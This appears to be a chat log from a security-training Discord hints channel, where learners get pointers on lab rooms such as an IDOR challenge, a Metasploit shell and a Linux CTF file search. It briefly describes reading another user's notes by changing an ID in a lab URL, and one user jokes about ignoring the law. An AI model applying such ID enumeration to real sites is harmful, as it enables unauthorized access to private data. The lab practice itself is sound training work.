try restarting Metasploit as bob said, ensure the payload is correct, verify your connection cause I just checked, your instance works fine https://i.imgur.com/vAWPeY7.png
@sonic fox
upbeat comet
Hi hope you're well.
I'm going through the ten days of OWASP and I'm on the [Day 5] Broken Access Control (IDOR Challenge)
I visited the site and I believe that the goal is to change the last number at the end of the url to access another persons notes
The url being http://10.10.89.241/note.php?note=1
I changed the 1 to a 2...
I've run through a range of about 3500
am I doing something wrong?
nvm, just realized that I should've started at 0
upbeat comet
Ahh got you, thanks
wind fog
hey lads
is release some kind of command or what?
if it is could someone maybe give me a site explaining how to use it, cause I can't find one
stuck fractal
It's referring to a file.
You really need to give people context when you ask questions about rooms like this.
sonic fox
thanks @final mortar and @oblique cliff. had to update metasploit and restart.
final mortar
✌️
sonic fox
i got shell.... now what?! j/k
wind fog
welp, I have found the release file, which is just a text file full of code with no flag of any kind
any idea how I could get closer to the answer?
the room is linuxctf btw, task 2
sonic fox
kernel version is what "uname -a"?
final mortar
a is for all
wind fog
just gives me this and no flag 😪
oblique cliff
You haven’t found the correct release file if it’s not in there
oblique cliff
It tells you the exact name
The * isn’t a regex thing it’s in the name of the file
wind fog
really?
wind fog
how do I use find and add * to the name then without 500 results showing up?
if u could tell me it would be a huge help
oblique cliff
You could use a regex with a literal *
white salmon
smh all tutorials saying to abide the law
oblique cliff
white salmon
wind fog
thanks man
oblique cliff
Use that link to try stuff out and find out how to do a regex with special characters
stuck fractal
Safe for work.@wind fog
stuck fractal
@white salmon If you don't like it, this isn't the place for you. Rule 9 applies.
white salmon
😭
wind fog
😉
minor bough
Hey guys, let's not make jokes like that
Not even remotely ok
Also, this is a hints channel...
minor bough
Thank you
No worries
If you would, please remove that joke regarding minorities
Thank you!
wind fog
what a silly guy
white salmon
:D
wind fog
🥶
minor bough
For joking around, please move to general ❤️
maiden flower
is the first part of jigsaw even doable over VPN? Cos I am buggered if I can capture what I am supposed to?
stuck fractal
If it's FTP related, use an EU VPN server
maiden flower
no its about it leaking a udp packet with some info in, I got so frustrated trying to get something out of the machine I ended up looking at a write up for the first piece... but I cannot replicate either of the potential routes the arp routes I am not surprised by but .... nmap and a wireshark capture just doesnt do what they say it does but all three are vulnhub write ups
i.e. no vpn at all
wind fog
hey peeps, I've found a file which I'm pretty sure I was meant to find, but am not sure what to do with it now, I've tried executing it, catting it, and I haven't got a clue what I'm meant to do with it.
the room is linuxctf btw, question 3, task 5.
oblique cliff
#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:
- What room you are on
- At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
- What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done
dang it
lol
trim haven
Linux CTF, priv esc ^
white salmon
this seems new ^^^
trim haven
Have you tried running it
trim haven
Yes...
wind fog
yep, told me permission denied
wind fog
but I haven't got access to the sudo
anything else I could try doing with the file, cause right now I'm lost
trim haven
I guess you could try reversing it but check the room tags see if that helps.
I don't want to lead you in a wrong direction so I'll wait for someone else to come help.
wind fog
reversing it? I'm quite new, so im not really sure what that means
trim haven
I have not completed the room so me saying anything is virtually useless.
wind fog
ah
oblique cliff
thats a beginner room, therell be no RE in it
trim haven
Exactly why I said whatever I say is virtually useless ^
oblique cliff
linux challenges? @wind fog
trim haven
Oh it's linux challenges
oblique cliff
weren't you asking about that earlier?
trim haven
Linux CTF is the machine name not the room name.
wind fog
oh
oblique cliff
the hint tells you the name of the file
youre going down an unintended rabbit hole
wind fog
yeah, *request
oblique cliff
its not a track question, you should ||find the file called *release||
no
look at the hint again
you misread it
wind fog
i ran a find command for *release but didn't find one
oblique cliff
then your find command wasn't good enough
you need to look at how to find something with a special character in the name, cuz the * is messing it up
oblique cliff
not sure, make a file called *requestt and see if that finds it
wind fog
yep, it found it
I've been on this for over an hour now so at this point I'm quite desperate for answers
wind fog
true true, now it's giving me 300 results for release
so im assuming my find command is wrong somehow
trim haven
You're probably not escaping the character correctly at my guess
wind fog
find / -name *release 2>>/dev/null
is this wrong??! please tell me, I am sick and tired of this question by now
trim haven
In the cmmand you just sent
wind fog
😭
trim haven
you're not escaping it
oblique cliff
you just showed a good command earlier about how to escape a special character
why did you get rid of the escaping
trim haven
find / -name *release 2>/dev/null
wind fog
find / -name \*release 2>>/dev/null
trim haven
Try this
stuck fractal
Single quotes are magic
trim haven
James -_-
stuck fractal
Backticks are magic in discord
wind fog
so '*'release